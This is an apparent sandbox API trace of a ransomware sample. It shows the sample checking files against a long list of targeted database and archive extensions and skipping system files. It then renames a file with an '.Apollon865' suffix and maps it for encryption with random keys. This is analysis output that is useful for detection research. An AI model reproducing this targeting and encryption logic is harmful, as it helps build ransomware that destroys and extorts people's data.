	[0053.329] lstrlenW (lpString="ade") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.329] lstrlenW (lpString="adf") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.330] lstrlenW (lpString="adn") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.330] lstrlenW (lpString="adp") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.330] lstrlenW (lpString="alf") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.330] lstrlenW (lpString="ask") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.330] lstrlenW (lpString="btr") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.330] lstrlenW (lpString="cat") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.330] lstrlenW (lpString="cdb") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.330] lstrlenW (lpString="ckp") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.330] lstrlenW (lpString="cma") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.330] lstrlenW (lpString="cpd") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.330] lstrlenW (lpString="dacpac") returned 6
	[0053.330] lstrcmpiW (lpString1="om.url", lpString2="dacpac") returned 1
	[0053.330] lstrlenW (lpString="dad") returned 3
	[0053.330] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.330] lstrlenW (lpString="dadiagrams") returned 10
	[0053.330] lstrcmpiW (lpString1="ft.com.url", lpString2="dadiagrams") returned 1
	[0053.330] lstrlenW (lpString="daschema") returned 8
	[0053.330] lstrcmpiW (lpString1=".com.url", lpString2="daschema") returned -1
	[0053.330] lstrlenW (lpString="db-journal") returned 10
	[0053.330] lstrcmpiW (lpString1="ft.com.url", lpString2="db-journal") returned 1
	[0053.330] lstrlenW (lpString="db-shm") returned 6
	[0053.330] lstrcmpiW (lpString1="om.url", lpString2="db-shm") returned 1
	[0053.330] lstrlenW (lpString="db-wal") returned 6
	[0053.330] lstrcmpiW (lpString1="om.url", lpString2="db-wal") returned 1
	[0053.331] lstrlenW (lpString="dbc") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.331] lstrlenW (lpString="dbs") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.331] lstrlenW (lpString="dbt") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.331] lstrlenW (lpString="dbv") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.331] lstrlenW (lpString="dbx") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.331] lstrlenW (lpString="dcb") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.331] lstrlenW (lpString="dct") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.331] lstrlenW (lpString="dcx") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.331] lstrlenW (lpString="ddl") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.331] lstrlenW (lpString="dlis") returned 4
	[0053.331] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.331] lstrlenW (lpString="dp1") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.331] lstrlenW (lpString="dqy") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.331] lstrlenW (lpString="dsk") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.331] lstrlenW (lpString="dsn") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.331] lstrlenW (lpString="dtsx") returned 4
	[0053.331] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.331] lstrlenW (lpString="dxl") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.331] lstrlenW (lpString="eco") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.331] lstrlenW (lpString="ecx") returned 3
	[0053.331] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.332] lstrlenW (lpString="edb") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.332] lstrlenW (lpString="epim") returned 4
	[0053.332] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.332] lstrlenW (lpString="fcd") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.332] lstrlenW (lpString="fdb") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.332] lstrlenW (lpString="fic") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.332] lstrlenW (lpString="flexolibrary") returned 12
	[0053.332] lstrcmpiW (lpString1="soft.com.url", lpString2="flexolibrary") returned 1
	[0053.332] lstrlenW (lpString="fm5") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.332] lstrlenW (lpString="fmp") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.332] lstrlenW (lpString="fmp12") returned 5
	[0053.332] lstrcmpiW (lpString1="m.url", lpString2="fmp12") returned 1
	[0053.332] lstrlenW (lpString="fmpsl") returned 5
	[0053.332] lstrcmpiW (lpString1="m.url", lpString2="fmpsl") returned 1
	[0053.332] lstrlenW (lpString="fol") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.332] lstrlenW (lpString="fp3") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.332] lstrlenW (lpString="fp4") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.332] lstrlenW (lpString="fp5") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.332] lstrlenW (lpString="fp7") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.332] lstrlenW (lpString="fpt") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.332] lstrlenW (lpString="frm") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.332] lstrlenW (lpString="gdb") returned 3
	[0053.332] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.333] lstrlenW (lpString="gdb") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.333] lstrlenW (lpString="grdb") returned 4
	[0053.333] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.333] lstrlenW (lpString="gwi") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.333] lstrlenW (lpString="hdb") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.333] lstrlenW (lpString="his") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.333] lstrlenW (lpString="ib") returned 2
	[0053.333] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.333] lstrlenW (lpString="idb") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.333] lstrlenW (lpString="ihx") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.333] lstrlenW (lpString="itdb") returned 4
	[0053.333] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.333] lstrlenW (lpString="itw") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.333] lstrlenW (lpString="jet") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.333] lstrlenW (lpString="jtx") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.333] lstrlenW (lpString="kdb") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.333] lstrlenW (lpString="kexi") returned 4
	[0053.333] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.333] lstrlenW (lpString="kexic") returned 5
	[0053.333] lstrcmpiW (lpString1="m.url", lpString2="kexic") returned 1
	[0053.333] lstrlenW (lpString="kexis") returned 5
	[0053.333] lstrcmpiW (lpString1="m.url", lpString2="kexis") returned 1
	[0053.333] lstrlenW (lpString="lgc") returned 3
	[0053.333] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.333] lstrlenW (lpString="lwx") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.334] lstrlenW (lpString="maf") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.334] lstrlenW (lpString="maq") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.334] lstrlenW (lpString="mar") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.334] lstrlenW (lpString="marshal") returned 7
	[0053.334] lstrcmpiW (lpString1="com.url", lpString2="marshal") returned -1
	[0053.334] lstrlenW (lpString="mas") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.334] lstrlenW (lpString="mav") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.334] lstrlenW (lpString="maw") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.334] lstrlenW (lpString="mdbhtml") returned 7
	[0053.334] lstrcmpiW (lpString1="com.url", lpString2="mdbhtml") returned -1
	[0053.334] lstrlenW (lpString="mdn") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.334] lstrlenW (lpString="mdt") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.334] lstrlenW (lpString="mfd") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.334] lstrlenW (lpString="mpd") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.334] lstrlenW (lpString="mrg") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.334] lstrlenW (lpString="mud") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.334] lstrlenW (lpString="mwb") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.334] lstrlenW (lpString="myd") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.334] lstrlenW (lpString="ndf") returned 3
	[0053.334] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.335] lstrlenW (lpString="nnt") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.335] lstrlenW (lpString="nrmlib") returned 6
	[0053.335] lstrcmpiW (lpString1="om.url", lpString2="nrmlib") returned 1
	[0053.335] lstrlenW (lpString="ns2") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.335] lstrlenW (lpString="ns3") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.335] lstrlenW (lpString="ns4") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.335] lstrlenW (lpString="nsf") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.335] lstrlenW (lpString="nv") returned 2
	[0053.335] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.335] lstrlenW (lpString="nv2") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.335] lstrlenW (lpString="nwdb") returned 4
	[0053.335] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.335] lstrlenW (lpString="nyf") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.335] lstrlenW (lpString="odb") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.335] lstrlenW (lpString="odb") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.335] lstrlenW (lpString="oqy") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.335] lstrlenW (lpString="ora") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.335] lstrlenW (lpString="orx") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.335] lstrlenW (lpString="owc") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.335] lstrlenW (lpString="p96") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.335] lstrlenW (lpString="p97") returned 3
	[0053.335] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.336] lstrlenW (lpString="pan") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.336] lstrlenW (lpString="pdb") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.336] lstrlenW (lpString="pdm") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.336] lstrlenW (lpString="pnz") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.336] lstrlenW (lpString="qry") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.336] lstrlenW (lpString="qvd") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.336] lstrlenW (lpString="rbf") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.336] lstrlenW (lpString="rctd") returned 4
	[0053.336] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.336] lstrlenW (lpString="rod") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.336] lstrlenW (lpString="rodx") returned 4
	[0053.336] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.336] lstrlenW (lpString="rpd") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.336] lstrlenW (lpString="rsd") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.336] lstrlenW (lpString="sas7bdat") returned 8
	[0053.336] lstrcmpiW (lpString1=".com.url", lpString2="sas7bdat") returned -1
	[0053.336] lstrlenW (lpString="sbf") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.336] lstrlenW (lpString="scx") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.336] lstrlenW (lpString="sdb") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.336] lstrlenW (lpString="sdc") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.336] lstrlenW (lpString="sdf") returned 3
	[0053.336] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.337] lstrlenW (lpString="sis") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.337] lstrlenW (lpString="spq") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.337] lstrlenW (lpString="te") returned 2
	[0053.337] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.337] lstrlenW (lpString="teacher") returned 7
	[0053.337] lstrcmpiW (lpString1="com.url", lpString2="teacher") returned -1
	[0053.337] lstrlenW (lpString="tmd") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.337] lstrlenW (lpString="tps") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.337] lstrlenW (lpString="trc") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.337] lstrlenW (lpString="trc") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.337] lstrlenW (lpString="trm") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.337] lstrlenW (lpString="udb") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.337] lstrlenW (lpString="udl") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.337] lstrlenW (lpString="usr") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.337] lstrlenW (lpString="v12") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.337] lstrlenW (lpString="vis") returned 3
	[0053.337] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.338] lstrlenW (lpString="vpd") returned 3
	[0053.338] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.338] lstrlenW (lpString="vvv") returned 3
	[0053.338] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.338] lstrlenW (lpString="wdb") returned 3
	[0053.338] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.338] lstrlenW (lpString="wmdb") returned 4
	[0053.338] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.338] lstrlenW (lpString="wrk") returned 3
	[0053.338] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.338] lstrlenW (lpString="xdb") returned 3
	[0053.338] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.338] lstrlenW (lpString="xld") returned 3
	[0053.338] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.338] lstrlenW (lpString="xmlff") returned 5
	[0053.338] lstrcmpiW (lpString1="m.url", lpString2="xmlff") returned -1
	[0053.338] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Apollon865") returned 85
	[0053.338] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url.apollon865"), dwFlags=0x1) returned 1
	[0053.339] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.339] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.339] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.340] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.340] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.340] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0xc0
	[0053.342] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.342] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.343] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.343] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.343] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.343] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.344] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.344] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.344] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.344] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.344] CloseHandle (hObject=0xc0) returned 1
	[0053.344] CloseHandle (hObject=0x118) returned 1
	[0053.344] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.344] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.344] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.344] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".") returned 1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="..") returned 1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="windows") returned -1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="bootmgr") returned 1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="temp") returned -1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="pagefile.sys") returned -1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="boot") returned 1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="ids.txt") returned 1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="ntuser.dat") returned -1
	[0053.344] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="perflogs") returned -1
	[0053.345] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="MSBuild") returned -1
	[0053.345] lstrlenW (lpString="Microsoft At Home.url") returned 21
	[0053.345] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned 74
	[0053.345] lstrcpyW (in: lpString1=0x119e664, lpString2="Microsoft At Home.url" | out: lpString1="Microsoft At Home.url") returned="Microsoft At Home.url"
	[0053.345] lstrlenW (lpString="Microsoft At Home.url") returned 21
	[0053.345] lstrlenW (lpString="Apollon865") returned 10
	[0053.345] lstrcmpiW (lpString1="t Home.url", lpString2="Apollon865") returned 1
	[0053.345] lstrlenW (lpString=".dll") returned 4
	[0053.345] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".dll") returned 1
	[0053.345] lstrlenW (lpString=".lnk") returned 4
	[0053.345] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".lnk") returned 1
	[0053.345] lstrlenW (lpString=".ini") returned 4
	[0053.345] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".ini") returned 1
	[0053.345] lstrlenW (lpString=".sys") returned 4
	[0053.345] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".sys") returned 1
	[0053.345] lstrlenW (lpString="Microsoft At Home.url") returned 21
	[0053.345] lstrlenW (lpString="bak") returned 3
	[0053.345] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.345] lstrlenW (lpString="ba_") returned 3
	[0053.345] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.345] lstrlenW (lpString="dbb") returned 3
	[0053.345] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.345] lstrlenW (lpString="vmdk") returned 4
	[0053.345] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.345] lstrlenW (lpString="rar") returned 3
	[0053.345] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.345] lstrlenW (lpString="zip") returned 3
	[0053.345] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.345] lstrlenW (lpString="tgz") returned 3
	[0053.345] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.345] lstrlenW (lpString="vbox") returned 4
	[0053.345] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.345] lstrlenW (lpString="vdi") returned 3
	[0053.345] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.345] lstrlenW (lpString="vhd") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.346] lstrlenW (lpString="vhdx") returned 4
	[0053.346] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.346] lstrlenW (lpString="avhd") returned 4
	[0053.346] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.346] lstrlenW (lpString="db") returned 2
	[0053.346] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.346] lstrlenW (lpString="db2") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.346] lstrlenW (lpString="db3") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.346] lstrlenW (lpString="dbf") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.346] lstrlenW (lpString="mdf") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.346] lstrlenW (lpString="mdb") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.346] lstrlenW (lpString="sql") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.346] lstrlenW (lpString="sqlite") returned 6
	[0053.346] lstrcmpiW (lpString1="me.url", lpString2="sqlite") returned -1
	[0053.346] lstrlenW (lpString="sqlite3") returned 7
	[0053.346] lstrcmpiW (lpString1="ome.url", lpString2="sqlite3") returned -1
	[0053.346] lstrlenW (lpString="sqlitedb") returned 8
	[0053.346] lstrcmpiW (lpString1="Home.url", lpString2="sqlitedb") returned -1
	[0053.346] lstrlenW (lpString="xml") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.346] lstrlenW (lpString="$er") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.346] lstrlenW (lpString="4dd") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.346] lstrlenW (lpString="4dl") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
